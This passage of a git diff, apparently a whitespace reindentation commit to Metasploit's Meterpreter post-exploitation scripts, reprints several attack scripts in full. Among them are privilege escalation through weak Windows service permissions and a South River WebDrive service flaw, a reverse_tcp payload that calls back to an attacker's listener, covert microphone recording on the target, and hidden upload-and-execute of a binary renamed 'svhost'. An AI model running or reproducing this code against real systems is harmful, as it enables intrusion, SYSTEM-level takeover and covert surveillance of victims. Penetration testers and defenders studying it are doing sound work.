Rex::Script::Completed + rescue + print_error("A Service Name must be provided, service names are case sensitive.") + end + else + print_error("No Service Name was provided!") + end + raise Rex::Script::Completed # Stop a Service elsif srv_stop - priv_check - if srv_name - begin - returned_value = service_stop(srv_name) - if returned_value == 0 - print_good("Service #{srv_name} Stopped") - elsif returned_value == 1 - print_good("Service #{srv_name} already Stopped") - elsif returned_value == 2 - print_error("Service #{srv_name} can not be stopped.") - end + priv_check + if srv_name + begin + returned_value = service_stop(srv_name) + if returned_value == 0 + print_good("Service #{srv_name} Stopped") + elsif returned_value == 1 + print_good("Service #{srv_name} already Stopped") + elsif returned_value == 2 + print_error("Service #{srv_name} can not be stopped.") + end - rescue - print_error("A Service Name must be provided, service names are case sensitive.") - end - else - print_error("No Service Name was provided!") - end - raise Rex::Script::Completed + rescue + print_error("A Service Name must be provided, service names are case sensitive.") + end + else + print_error("No Service Name was provided!") + end + raise Rex::Script::Completed # Get service info elsif srv_info - srv_conf = {} - if srv_name - begin - srv_conf = service_info(srv_name) - print_status("Service Information for #{srv_name}:") - print_good("\tName: #{srv_conf['Name']}") - print_good("\tStartup: #{srv_conf['Startup']}") - print_good("\tCommand: #{srv_conf['Command']}") - print_good("\tCredentials: #{srv_conf['Credentials']}") - rescue - print_error("A Service Name must be provided, service names are case sensitive.") - end - else - print_error("No Service Name was provided!") - end - raise Rex::Script::Completed + srv_conf = {} + if srv_name + begin + srv_conf = service_info(srv_name) + print_status("Service Information for #{srv_name}:") + print_good("\tName: #{srv_conf['Name']}") + print_good("\tStartup: #{srv_conf['Startup']}") + print_good("\tCommand: #{srv_conf['Command']}") + print_good("\tCredentials: #{srv_conf['Credentials']}") + rescue + print_error("A Service Name must be provided, service names are case sensitive.") + end + else + print_error("No Service Name was provided!") + end + raise Rex::Script::Completed # Change startup of a service elsif srv_change_startup - priv_check - if srv_name - begin - print_status("Changing Service #{srv_name} Startup to #{srv_startup}") - service_change_startup(srv_name,srv_startup) - print_good("Service Startup changed!") + priv_check + if srv_name + begin + print_status("Changing Service #{srv_name} Startup to #{srv_startup}") + service_change_startup(srv_name,srv_startup) + print_good("Service Startup changed!") - rescue - print_error("A Service Name must be provided, service names are case sensitive.") - end - else - print_error("No Service Name was provided!") - end - raise Rex::Script::Completed + rescue + print_error("A Service Name must be provided, service names are case sensitive.") + end + else + print_error("No Service Name was provided!") + end + raise Rex::Script::Completed # Create a service elsif srv_create - priv_check - if srv_name and srv_command - begin - print_status("Creating Service #{srv_name}") - service_create(srv_name,srv_display_name,srv_command) - print_good("\tService Created!") - print_good("\tDisplay Name: #{srv_display_name}") - print_good("\tCommand: #{srv_command}") - print_good("\tSet to Auto Star.") - rescue::Exception => e - print_error("Error: #{e}") - end - else - print_error("No Service Name and Service Command where provided!") - end + priv_check + if srv_name and srv_command + begin + print_status("Creating Service #{srv_name}") + service_create(srv_name,srv_display_name,srv_command) + print_good("\tService Created!") + print_good("\tDisplay Name: #{srv_display_name}") + print_good("\tCommand: #{srv_command}") + print_good("\tSet to Auto Star.") + rescue::Exception => e + print_error("Error: #{e}") + end + else + print_error("No Service Name and Service Command where provided!") + end # Delete a service elsif srv_delete - priv_check - if srv_name - begin - print_status("Deleting Service #{srv_name}") - service_delete(srv_name) - print_good("\tService #{srv_name} Delete") - rescue::Exception => e - print_error("A Service Name must be provided, service names are case sensitive.") - print_error("Error: #{e}") - end - else - print_error("No Service Name and Service Command where provided!") - end - raise Rex::Script::Completed + priv_check + if srv_name + begin + print_status("Deleting Service #{srv_name}") + service_delete(srv_name) + print_good("\tService #{srv_name} Delete") + rescue::Exception => e + print_error("A Service Name must be provided, service names are case sensitive.") + print_error("Error: #{e}") + end + else + print_error("No Service Name and Service Command where provided!") + end + raise Rex::Script::Completed else - usage + usage end diff --git a/scripts/meterpreter/service_permissions_escalate.rb b/scripts/meterpreter/service_permissions_escalate.rb index 1ee4f22d5a..0f3c4bbdae 100644 --- a/scripts/meterpreter/service_permissions_escalate.rb +++ b/scripts/meterpreter/service_permissions_escalate.rb @@ -12,17 +12,17 @@ ## if client.platform !~ /win32/ - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end # # Options # opts = Rex::Parser::Arguments.new( - "-a" => [ false, "Aggressive mode - exploit as many services as possible (can be dangerous!)"], - "-h" => [ false, "This help menu"], - "-r" => [ true, "The IP of the system running Metasploit listening for the connect back"], - "-p" => [ true, "The port on the remote host where Metasploit is listening"] + "-a" => [ false, "Aggressive mode - exploit as many services as possible (can be dangerous!)"], + "-h" => [ false, "This help menu"], + "-r" => [ true, "The IP of the system running Metasploit listening for the connect back"], + "-p" => [ true, "The port on the remote host where Metasploit is listening"] ) # @@ -37,18 +37,18 @@ aggressive = false # Option parsing # opts.parse(args) do |opt, idx, val| - case opt - when "-a" - aggressive = true - when "-h" - print_status("Generic weak service permissions privilege escalation.") - print_line(opts.usage) - raise Rex::Script::Completed - when "-r" - rhost = val - when "-p" - rport = val.to_i - end + case opt + when "-a" + aggressive = true + when "-h" + print_status("Generic weak service permissions privilege escalation.") + print_line(opts.usage) + raise Rex::Script::Completed + when "-r" + rhost = val + when "-p" + rport = val.to_i + end end # Get the exe payload. @@ -75,15 +75,15 @@ handler.datastore['InitialAutoRunScript'] = "migrate -f" handler.datastore['ExitOnSession'] = false #start a handler to be ready handler.exploit_simple( - 'Payload' => handler.datastore['PAYLOAD'], - 'RunAsJob' => true + 'Payload' => handler.datastore['PAYLOAD'], + 'RunAsJob' => true ) #attempt to make new service client.railgun.kernel32.LoadLibraryA("advapi32.dll") client.railgun.get_dll('advapi32') client.railgun.add_function( 'advapi32', 'DeleteService','BOOL',[ - [ "DWORD", "hService", "in" ] + [ "DWORD", "hService", "in" ] ]) #SERVICE_NO_CHANGE 0xffffffff for DWORDS or NULL for pointer values leaves the current config @@ -92,109 +92,109 @@ print_status("Trying to add a new service...") adv = client.railgun.advapi32 manag = adv.OpenSCManagerA(nil,nil,0x10013) if(manag["return"] != 0) - # SC_MANAGER_CREATE_SERVICE = 0x0002 - newservice = adv.CreateServiceA(manag["return"],"walservice","Windows Application Layer",0x0010,0X00000010,2,0,tempexe,nil,nil,nil,nil,nil) - #SERVICE_START=0x0010 SERVICE_WIN32_OWN_PROCESS= 0X00000010 - #SERVICE_AUTO_START = 2 SERVICE_ERROR_IGNORE = 0 - if(newservice["return"] != 0) - print_status("Created service... #{newservice["return"]}") - ret = adv.StartServiceA(newservice["return"], 0, nil) - print_status("Service should be started! Enjoy your new SYSTEM meterpreter session.") - service_delete("walservice") - adv.CloseServiceHandle(newservice["return"]) - if aggressive == false - adv.CloseServiceHandle(manag["return"]) - raise Rex::Script::Completed - end - else - print_status("Uhoh. service creation failed, but we should have the permissions. :-(") - end + # SC_MANAGER_CREATE_SERVICE = 0x0002 + newservice = adv.CreateServiceA(manag["return"],"walservice","Windows Application Layer",0x0010,0X00000010,2,0,tempexe,nil,nil,nil,nil,nil) + #SERVICE_START=0x0010 SERVICE_WIN32_OWN_PROCESS= 0X00000010 + #SERVICE_AUTO_START = 2 SERVICE_ERROR_IGNORE = 0 + if(newservice["return"] != 0) + print_status("Created service... #{newservice["return"]}") + ret = adv.StartServiceA(newservice["return"], 0, nil) + print_status("Service should be started! Enjoy your new SYSTEM meterpreter session.") + service_delete("walservice") + adv.CloseServiceHandle(newservice["return"]) + if aggressive == false + adv.CloseServiceHandle(manag["return"]) + raise Rex::Script::Completed + end + else + print_status("Uhoh. service creation failed, but we should have the permissions. :-(") + end else - print_status("No privs to create a service...") - manag = adv.OpenSCManagerA(nil,nil,1) - if(manag["return"] == 0) - print_status("Cannot open sc manager. You must have no privs at all. Ridiculous.") - end + print_status("No privs to create a service...") + manag = adv.OpenSCManagerA(nil,nil,1) + if(manag["return"] == 0) + print_status("Cannot open sc manager. You must have no privs at all. Ridiculous.") + end end print_status("Trying to find weak permissions in existing services..") #Search through list of services to find weak permissions, whether file or config serviceskey = "HKLM\\SYSTEM\\CurrentControlSet\\Services" #for each service service_list.each do |serv| - begin - srvtype = registry_getvaldata("#{serviceskey}\\#{serv}","Type").to_s - if srvtype != "16" - continue - end - moved = false - configed = false - #default path, but there should be an ImagePath registry key - source = client.fs.file.expand_path("%SYSTEMROOT%\\system32\\#{serv}.exe") - #get path to exe; parse out quotes and arguments - sourceorig = registry_getvaldata("#{serviceskey}\\#{serv}","ImagePath").to_s - sourcemaybe = client.fs.file.expand_path(sourceorig) - if( sourcemaybe[0] == '"' ) - sourcemaybe = sourcemaybe.split('"')[1] - else - sourcemaybe = sourcemaybe.split(' ')[0] - end - begin - client.fs.file.stat(sourcemaybe) #check if it really exists - source = sourcemaybe - rescue - print_status("Cannot reliably determine path for #{serv} executable. Trying #{source}") - end - #try to exploit weak file permissions - if(source != tempexe && client.railgun.kernel32.MoveFileA(source, source+'.bak')["return"]) - client.railgun.kernel32.CopyFileA(tempexe, source, false) - print_status("#{serv} has weak file permissions - #{source} moved to #{source + '.bak'} and replaced.") - moved = true - end - #try to exploit weak config permissions - #open with SERVICE_CHANGE_CONFIG (0x0002) - servhandleret = adv.OpenServiceA(manag["return"],serv,2) - if(servhandleret["return"] != 0) - #SERVICE_NO_CHANGE is 0xFFFFFFFF - if(adv.ChangeServiceConfigA(servhandleret["return"],0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,tempexe,nil,nil,nil,nil,nil,nil)) - print_status("#{serv} has weak configuration permissions - reconfigured to use exe #{tempexe}.") - configed = true - end - adv.CloseServiceHandle(servhandleret["return"]) + begin + srvtype = registry_getvaldata("#{serviceskey}\\#{serv}","Type").to_s + if srvtype != "16" + continue + end + moved = false + configed = false + #default path, but there should be an ImagePath registry key + source = client.fs.file.expand_path("%SYSTEMROOT%\\system32\\#{serv}.exe") + #get path to exe; parse out quotes and arguments + sourceorig = registry_getvaldata("#{serviceskey}\\#{serv}","ImagePath").to_s + sourcemaybe = client.fs.file.expand_path(sourceorig) + if( sourcemaybe[0] == '"' ) + sourcemaybe = sourcemaybe.split('"')[1] + else + sourcemaybe = sourcemaybe.split(' ')[0] + end + begin + client.fs.file.stat(sourcemaybe) #check if it really exists + source = sourcemaybe + rescue + print_status("Cannot reliably determine path for #{serv} executable. Trying #{source}") + end + #try to exploit weak file permissions + if(source != tempexe && client.railgun.kernel32.MoveFileA(source, source+'.bak')["return"]) + client.railgun.kernel32.CopyFileA(tempexe, source, false) + print_status("#{serv} has weak file permissions - #{source} moved to #{source + '.bak'} and replaced.") + moved = true + end + #try to exploit weak config permissions + #open with SERVICE_CHANGE_CONFIG (0x0002) + servhandleret = adv.OpenServiceA(manag["return"],serv,2) + if(servhandleret["return"] != 0) + #SERVICE_NO_CHANGE is 0xFFFFFFFF + if(adv.ChangeServiceConfigA(servhandleret["return"],0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,tempexe,nil,nil,nil,nil,nil,nil)) + print_status("#{serv} has weak configuration permissions - reconfigured to use exe #{tempexe}.") + configed = true + end + adv.CloseServiceHandle(servhandleret["return"]) - end - if(moved != true && configed != true) - print_status("No exploitable weak permissions found on #{serv}") - continue - end - print_status("Restarting #{serv}") - #open with SERVICE_START (0x0010) and SERVICE_STOP (0x0020) - servhandleret = adv.OpenServiceA(manag["return"],serv,0x30) - if(servhandleret["return"] != 0) - #SERVICE_CONTROL_STOP = 0x00000001 - if(adv.ControlService(servhandleret["return"],1,56)) - client.railgun.kernel32.Sleep(1000) - adv.StartServiceA(servhandleret["return"],0,nil) - print_status("#{serv} restarted. You should get a system meterpreter soon. Enjoy.") - #Cleanup - if moved == true - client.railgun.kernel32.MoveFileExA(source+'.bak', source, 1) - end - if configed == true - servhandleret = adv.OpenServiceA(manag["return"],serv,2) - adv.ChangeServiceConfigA(servhandleret["return"],0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,sourceorig,nil,nil,nil,nil,nil,nil) - adv.CloseServiceHandle(servhandleret["return"]) - end - if aggressive == false - raise Rex::Script::Completed - end - else - print_status("Could not restart #{serv}. Wait for a reboot. (or force one yourself)") - end - adv.CloseServiceHandle(servhandleret["return"]) - else - print_status("Could not restart #{serv}. Wait for a reboot. (or force one yourself)") - end - rescue - end + end + if(moved != true && configed != true) + print_status("No exploitable weak permissions found on #{serv}") + continue + end + print_status("Restarting #{serv}") + #open with SERVICE_START (0x0010) and SERVICE_STOP (0x0020) + servhandleret = adv.OpenServiceA(manag["return"],serv,0x30) + if(servhandleret["return"] != 0) + #SERVICE_CONTROL_STOP = 0x00000001 + if(adv.ControlService(servhandleret["return"],1,56)) + client.railgun.kernel32.Sleep(1000) + adv.StartServiceA(servhandleret["return"],0,nil) + print_status("#{serv} restarted. You should get a system meterpreter soon. Enjoy.") + #Cleanup + if moved == true + client.railgun.kernel32.MoveFileExA(source+'.bak', source, 1) + end + if configed == true + servhandleret = adv.OpenServiceA(manag["return"],serv,2) + adv.ChangeServiceConfigA(servhandleret["return"],0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,sourceorig,nil,nil,nil,nil,nil,nil) + adv.CloseServiceHandle(servhandleret["return"]) + end + if aggressive == false + raise Rex::Script::Completed + end + else + print_status("Could not restart #{serv}. Wait for a reboot. (or force one yourself)") + end + adv.CloseServiceHandle(servhandleret["return"]) + else + print_status("Could not restart #{serv}. Wait for a reboot. (or force one yourself)") + end + rescue + end end diff --git a/scripts/meterpreter/sound_recorder.rb b/scripts/meterpreter/sound_recorder.rb index d682b88848..84dfdaebe7 100644 --- a/scripts/meterpreter/sound_recorder.rb +++ b/scripts/meterpreter/sound_recorder.rb @@ -9,9 +9,9 @@ data = nil # 30 second durations to keep data moved small and minimize problems. duration = 30 @exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu." ], - "-l" => [ true , "Specify a alternate folder to save sound files to."], - "-i" => [ true , "Number of 30 second intervals to record."] + "-h" => [ false, "Help menu." ], + "-l" => [ true , "Specify a alternate folder to save sound files to."], + "-i" => [ true , "Number of 30 second intervals to record."] ) meter_type = client.platform @@ -20,61 +20,61 @@ meter_type = client.platform # Usage Message Function #------------------------------------------------------------------------------- def usage - print_line "Meterpreter Script for recording in intervals the sound capture by a target host microphone." - print_line(@exec_opts.usage) - raise Rex::Script::Completed + print_line "Meterpreter Script for recording in intervals the sound capture by a target host microphone." + print_line(@exec_opts.usage) + raise Rex::Script::Completed end # Wrong Meterpreter Version Message Function #------------------------------------------------------------------------------- def wrong_meter_version(meter = meter_type) - print_error("#{meter} version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("#{meter} version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end # Function for creating log folder, returns path of folder. #------------------------------------------------------------------------------- def log_folder_create(log_path = nil) - #Get hostname - host = @client.sys.config.sysinfo["Computer"] + #Get hostname + host = @client.sys.config.sysinfo["Computer"] - # Create Filename info to be appended to downloaded files - filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S") + # Create Filename info to be appended to downloaded files + filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S") - # Create a directory for the logs - if log_path - logs = ::File.join(log_path, 'logs', "sound_recorder", host + filenameinfo ) - else - logs = ::File.join(Msf::Config.log_directory, "scripts", "sound_recorder", host + filenameinfo ) - end + # Create a directory for the logs + if log_path + logs = ::File.join(log_path, 'logs', "sound_recorder", host + filenameinfo ) + else + logs = ::File.join(Msf::Config.log_directory, "scripts", "sound_recorder", host + filenameinfo ) + end - # Create the log directory - ::FileUtils.mkdir_p(logs) - return logs + # Create the log directory + ::FileUtils.mkdir_p(logs) + return logs end # Function for converting a number of seconds to time in minutes #------------------------------------------------------------------------------- def convert_seconds_to_time(seconds) - total_minutes = seconds / 1.minutes - seconds_in_last_minute = seconds - total_minutes.minutes.seconds - "#{total_minutes}m #{seconds_in_last_minute}s" + total_minutes = seconds / 1.minutes + seconds_in_last_minute = seconds - total_minutes.minutes.seconds + "#{total_minutes}m #{seconds_in_last_minute}s" end ################## Main ################## @exec_opts.parse(args) { |opt, idx, val| - case opt - when "-h" - usage - when "-l" - if ::File.directory? val - log_folder = log_folder_create(val) - else - print_error("Option provided #{val} is not a folder!") - raise Rex::Script::Completed - end - when "-i" - intervals = val.to_i - end + case opt + when "-h" + usage + when "-l" + if ::File.directory? val + log_folder = log_folder_create(val) + else + print_error("Option provided #{val} is not a folder!") + raise Rex::Script::Completed + end + when "-i" + intervals = val.to_i + end } # Check for Version of Meterpreter @@ -82,28 +82,28 @@ wrong_meter_version(meter_type) if meter_type !~ /win32|win64/i # Create Folder for logs and get path for logs if not log_folder - log_folder = log_folder_create + log_folder = log_folder_create end print_status("Saving recorded audio to #{log_folder}") print_status("Recording a total of #{convert_seconds_to_time(intervals*30)}") (1..intervals).each do |i| - # Set file name - file_name = client.sys.config.sysinfo["Computer"] <<"_"<< i.to_s << ".wav" + # Set file name + file_name = client.sys.config.sysinfo["Computer"] <<"_"<< i.to_s << ".wav" - # Set path for file - path = ::File.join(log_folder,file_name) + # Set path for file + path = ::File.join(log_folder,file_name) - # Record audio - data = @client.webcam.record_mic(duration) + # Record audio + data = @client.webcam.record_mic(duration) - # Check if we got data if not we error and exit - if (data) - ::File.open( path, 'wb' ) do |fd| - fd.write( data ) - end - print_good( "\tAudio saved to: #{file_name}" ) - else - print_error("There appeats a microphone is not present or muted!") - raise Rex::Script::Completed - end + # Check if we got data if not we error and exit + if (data) + ::File.open( path, 'wb' ) do |fd| + fd.write( data ) + end + print_good( "\tAudio saved to: #{file_name}" ) + else + print_error("There appeats a microphone is not present or muted!") + raise Rex::Script::Completed + end end diff --git a/scripts/meterpreter/srt_webdrive_priv.rb b/scripts/meterpreter/srt_webdrive_priv.rb index fc2083e729..0b6f622ede 100644 --- a/scripts/meterpreter/srt_webdrive_priv.rb +++ b/scripts/meterpreter/srt_webdrive_priv.rb @@ -24,10 +24,10 @@ # Options # opts = Rex::Parser::Arguments.new( - "-h" => [ false, "This help menu"], - "-m" => [ false, "Mitigate"], - "-r" => [ true, "The IP of the system running Metasploit listening for the connect back"], - "-p" => [ true, "The port on the remote host where Metasploit is listening"] + "-h" => [ false, "This help menu"], + "-m" => [ false, "Mitigate"], + "-r" => [ true, "The IP of the system running Metasploit listening for the connect back"], + "-p" => [ true, "The port on the remote host where Metasploit is listening"] ) # @@ -41,88 +41,88 @@ pname = 'wdService.exe' #check for proper Meterpreter Platform def unsupported - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end unsupported if client.platform !~ /win32|win64/i # # Option parsing # opts.parse(args) do |opt, idx, val| - case opt - when "-h" - print_status("South River Technologies WebDrive Service Bad Security Descriptor Local Privilege Escalation.") - print_line(opts.usage) - raise Rex::Script::Completed - when "-m" - client.sys.process.get_processes().each do |m| - if ( m['name'] == pname ) - print_status("Found vulnerable process #{m['name']} with pid #{m['pid']}.") + case opt + when "-h" + print_status("South River Technologies WebDrive Service Bad Security Descriptor Local Privilege Escalation.") + print_line(opts.usage) + raise Rex::Script::Completed + when "-m" + client.sys.process.get_processes().each do |m| + if ( m['name'] == pname ) + print_status("Found vulnerable process #{m['name']} with pid #{m['pid']}.") - # Set correct service security descriptor to mitigate the vulnerability - print_status("Setting correct security descriptor for the South River Technologies WebDrive Service.") - client.sys.process.execute("cmd.exe /c sc sdset \"#{sname}\" D:(A;;CCLCSWLOCRRC;;;AU)(A;;CCLCSWRPLOCRRC;;;PU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWRPWPDTLOCRRC;;;SY)", - nil, {'Hidden' => 'true'}) - end - end - raise Rex::Script::Completed - when "-r" - rhost = val - when "-p" - rport = val.to_i - end + # Set correct service security descriptor to mitigate the vulnerability + print_status("Setting correct security descriptor for the South River Technologies WebDrive Service.") + client.sys.process.execute("cmd.exe /c sc sdset \"#{sname}\" D:(A;;CCLCSWLOCRRC;;;AU)(A;;CCLCSWRPLOCRRC;;;PU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWRPWPDTLOCRRC;;;SY)", + nil, {'Hidden' => 'true'}) + end + end + raise Rex::Script::Completed + when "-r" + rhost = val + when "-p" + rport = val.to_i + end end client.sys.process.get_processes().each do |m| - if ( m['name'] == pname ) + if ( m['name'] == pname ) - print_status("Found vulnerable process #{m['name']} with pid #{m['pid']}.") + print_status("Found vulnerable process #{m['name']} with pid #{m['pid']}.") - # Build out the exe payload. - pay = client.framework.payloads.create("windows/meterpreter/reverse_tcp") - pay.datastore['LHOST'] = rhost - pay.datastore['LPORT'] = rport - raw = pay.generate + # Build out the exe payload. + pay = client.framework.payloads.create("windows/meterpreter/reverse_tcp") + pay.datastore['LHOST'] = rhost + pay.datastore['LPORT'] = rport + raw = pay.generate - exe = Msf::Util::EXE.to_win32pe(client.framework, raw) + exe = Msf::Util::EXE.to_win32pe(client.framework, raw) - # Place our newly created exe in %TEMP% - tempdir = client.fs.file.expand_path("%TEMP%") - tempexe = tempdir + "\\" + Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe" - print_status("Sending EXE payload '#{tempexe}'.") - fd = client.fs.file.new(tempexe, "wb") - fd.write(exe) - fd.close + # Place our newly created exe in %TEMP% + tempdir = client.fs.file.expand_path("%TEMP%") + tempexe = tempdir + "\\" + Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe" + print_status("Sending EXE payload '#{tempexe}'.") + fd = client.fs.file.new(tempexe, "wb") + fd.write(exe) + fd.close - # Stop the vulnerable service - print_status("Stopping service \"#{sname}\"...") - client.sys.process.execute("cmd.exe /c sc stop \"#{sname}\" ", nil, {'Hidden' => 'true'}) + # Stop the vulnerable service + print_status("Stopping service \"#{sname}\"...") + client.sys.process.execute("cmd.exe /c sc stop \"#{sname}\" ", nil, {'Hidden' => 'true'}) - # Set exe payload as service binpath - print_status("Setting \"#{sname}\" to #{tempexe}...") - client.sys.process.execute("cmd.exe /c sc config \"#{sname}\" binpath= #{tempexe}", nil, {'Hidden' => 'true'}) - sleep(1) + # Set exe payload as service binpath + print_status("Setting \"#{sname}\" to #{tempexe}...") + client.sys.process.execute("cmd.exe /c sc config \"#{sname}\" binpath= #{tempexe}", nil, {'Hidden' => 'true'}) + sleep(1) - # Restart the service - print_status("Restarting the \"#{sname}\" service...") - client.sys.process.execute("cmd.exe /c sc start \"#{sname}\" ", nil, {'Hidden' => 'true'}) + # Restart the service + print_status("Restarting the \"#{sname}\" service...") + client.sys.process.execute("cmd.exe /c sc start \"#{sname}\" ", nil, {'Hidden' => 'true'}) - # Our handler to recieve the callback. - handler = client.framework.exploits.create("multi/handler") - handler.datastore['WORKSPACE'] = client.workspace - handler.datastore['PAYLOAD'] = "windows/meterpreter/reverse_tcp" - handler.datastore['LHOST'] = rhost - handler.datastore['LPORT'] = rport - handler.datastore['ExitOnSession'] = false + # Our handler to recieve the callback. + handler = client.framework.exploits.create("multi/handler") + handler.datastore['WORKSPACE'] = client.workspace + handler.datastore['PAYLOAD'] = "windows/meterpreter/reverse_tcp" + handler.datastore['LHOST'] = rhost + handler.datastore['LPORT'] = rport + handler.datastore['ExitOnSession'] = false - handler.exploit_simple( - 'Payload' => handler.datastore['PAYLOAD'], - 'RunAsJob' => true - ) + handler.exploit_simple( + 'Payload' => handler.datastore['PAYLOAD'], + 'RunAsJob' => true + ) - # Set service binpath back to normal - client.sys.process.execute("cmd.exe /c sc config \"#{sname}\" binpath= %ProgramFiles%\\WebDrive\\#{pname}", nil, {'Hidden' => 'true'}) + # Set service binpath back to normal + client.sys.process.execute("cmd.exe /c sc config \"#{sname}\" binpath= %ProgramFiles%\\WebDrive\\#{pname}", nil, {'Hidden' => 'true'}) - end + end end diff --git a/scripts/meterpreter/uploadexec.rb b/scripts/meterpreter/uploadexec.rb index 641de0e67b..ccc997b884 100644 --- a/scripts/meterpreter/uploadexec.rb +++ b/scripts/meterpreter/uploadexec.rb @@ -1,89 +1,89 @@ session = client @@exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false,"Help menu." ], - "-e" => [ true, "Executable or script to upload to target host." ], - "-o" => [ true, "Options for executable." ], - "-p" => [ false,"Path on target to upload executable, default is %TEMP%." ], - "-v" => [ false,"Verbose, return output of execution of uploaded executable." ], - "-r" => [ false,"Remove the executable after running it (only works if the executable exits right away)" ] + "-h" => [ false,"Help menu." ], + "-e" => [ true, "Executable or script to upload to target host." ], + "-o" => [ true, "Options for executable." ], + "-p" => [ false,"Path on target to upload executable, default is %TEMP%." ], + "-v" => [ false,"Verbose, return output of execution of uploaded executable." ], + "-r" => [ false,"Remove the executable after running it (only works if the executable exits right away)" ] ) ################## function declaration Declarations ################## def usage() - print_line "UploadExec -- upload a script or executable and run it" - print_line(@@exec_opts.usage) - raise Rex::Script::Completed + print_line "UploadExec -- upload a script or executable and run it" + print_line(@@exec_opts.usage) + raise Rex::Script::Completed end def upload(session,file,trgloc = "") - if not ::File.exists?(file) - raise "File to Upload does not exists!" - else - if trgloc == "" - location = session.fs.file.expand_path("%TEMP%") - else - location = trgloc - end - begin - ext = file[file.rindex(".") .. -1] - if ext and ext.downcase == ".exe" - fileontrgt = "#{location}\\svhost#{rand(100)}.exe" - else - fileontrgt = "#{location}\\TMP#{rand(100)}#{ext}" - end - print_status("\tUploading #{file}....") - session.fs.file.upload_file("#{fileontrgt}","#{file}") - print_status("\t#{file} uploaded!") - print_status("\tUploaded as #{fileontrgt}") - rescue ::Exception => e - print_status("Error uploading file #{file}: #{e.class} #{e}") - raise e - end - end - return fileontrgt + if not ::File.exists?(file) + raise "File to Upload does not exists!" + else + if trgloc == "" + location = session.fs.file.expand_path("%TEMP%") + else + location = trgloc + end + begin + ext = file[file.rindex(".") .. -1] + if ext and ext.downcase == ".exe" + fileontrgt = "#{location}\\svhost#{rand(100)}.exe" + else + fileontrgt = "#{location}\\TMP#{rand(100)}#{ext}" + end + print_status("\tUploading #{file}....") + session.fs.file.upload_file("#{fileontrgt}","#{file}") + print_status("\t#{file} uploaded!") + print_status("\tUploaded as #{fileontrgt}") + rescue ::Exception => e + print_status("Error uploading file #{file}: #{e.class} #{e}") + raise e + end + end + return fileontrgt end #Function for executing a list of commands def cmd_on_trgt_exec(session,cmdexe,opt,verbose) - r='' - session.response_timeout=120 - if verbose == 1 - begin - print_status "\tRunning command #{cmdexe}" - r = session.sys.process.execute(cmdexe, opt, {'Hidden' => true, 'Channelized' => true}) - while(d = r.channel.read) - print_status("\t#{d}") - end - r.channel.close - r.close - rescue ::Exception => e - print_status("Error Running Command #{cmdexe}: #{e.class} #{e}") - raise e - end - else - begin - print_status "\trunning command #{cmdexe}" - r = session.sys.process.execute(cmdexe, opt, {'Hidden' => true, 'Channelized' => false}) - r.close - rescue ::Exception => e - print_status("Error Running Command #{cmdexe}: #{e.class} #{e}") - raise e - end - end + r='' + session.response_timeout=120 + if verbose == 1 + begin + print_status "\tRunning command #{cmdexe}" + r = session.sys.process.execute(cmdexe, opt, {'Hidden' => true, 'Channelized' => true}) + while(d = r.channel.read) + print_status("\t#{d}") + end + r.channel.close + r.close + rescue ::Exception => e + print_status("Error Running Command #{cmdexe}: #{e.class} #{e}") + raise e + end + else + begin + print_status "\trunning command #{cmdexe}" + r = session.sys.process.execute(cmdexe, opt, {'Hidden' => true, 'Channelized' => false}) + r.close + rescue ::Exception => e + print_status("Error Running Command #{cmdexe}: #{e.class} #{e}") + raise e + end + end end def m_unlink(session, path) - r = session.sys.process.execute("cmd.exe /c del /F /S /Q " + path, nil, {'Hidden' => 'true'}) - while(r.name) - select(nil, nil, nil, 0.10) - end - r.close + r = session.sys.process.execute("cmd.exe /c del /F /S /Q " + path, nil, {'Hidden' => 'true'}) + while(r.name) + select(nil, nil, nil, 0.10) + end + r.close end #check for proper Meterpreter Platform def unsupported - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end unsupported if client.platform !~ /win32|win64/i #parsing of Options @@ -94,31 +94,31 @@ path = "" verbose = 0 remove = 0 @@exec_opts.parse(args) { |opt, idx, val| - case opt - when "-e" - file = val || "" - when "-o" - cmdopt = val - when "-p" - path = val - when "-v" - verbose = 1 - when "-h" - helpcall = 1 - when "-r" - remove = 1 - end + case opt + when "-e" + file = val || "" + when "-o" + cmdopt = val + when "-p" + path = val + when "-v" + verbose = 1 + when "-h" + helpcall = 1 + when "-r" + remove = 1 + end } if args.length == 0 || helpcall == 1 - usage + usage end print_status("Running Upload and Execute Meterpreter script....") exec = upload(session,file,path) cmd_on_trgt_exec(session,exec,cmdopt,verbose) if remove == 1 - print_status("\tDeleting #{exec}") - m_unlink(session, exec) + print_status("\tDeleting #{exec}") + m_unlink(session, exec) end print_status("Finished!") diff --git a/scripts/meterpreter/virtualbox_sysenter_dos.rb b/scripts/meterpreter/virtualbox_sysenter_dos.rb index 6aa80068b3..910e8f595d 100644 --- a/scripts/meterpreter/virtualbox_sysenter_dos.rb +++ b/scripts/meterpreter/virtualbox_sysenter_dos.rb @@ -2,23 +2,23 @@ # http://milw0rm.com/exploits/9323 opts = Rex::Parser::Arguments.new( - "-h" => [ false,"Help menu." ] + "-h" => [ false,"Help menu." ] ) opts.parse(args) { |opt, idx, val| - case opt - when "-h" - print_line("virtualbox_sysenter_dos -- trigger the VirtualBox DoS published at http://milw0rm.com/exploits/9323") - print_line("USAGE: run virtualbox_sysenter_dos") - print_status(opts.usage) - raise Rex::Script::Completed - end + case opt + when "-h" + print_line("virtualbox_sysenter_dos -- trigger the VirtualBox DoS published at http://milw0rm.com/exploits/9323") + print_line("USAGE: run 